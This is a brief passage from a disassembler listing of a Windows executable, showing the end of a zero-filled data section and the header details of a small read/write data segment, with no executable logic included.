dword_437000	dd 400h	dup(0)		; DATA XREF: sub_4038DB+290o
_ndata		ends

; Section 6. (virtual address 00039000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00038800
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 439000h
		align 2000h
_idata2		ends


		end start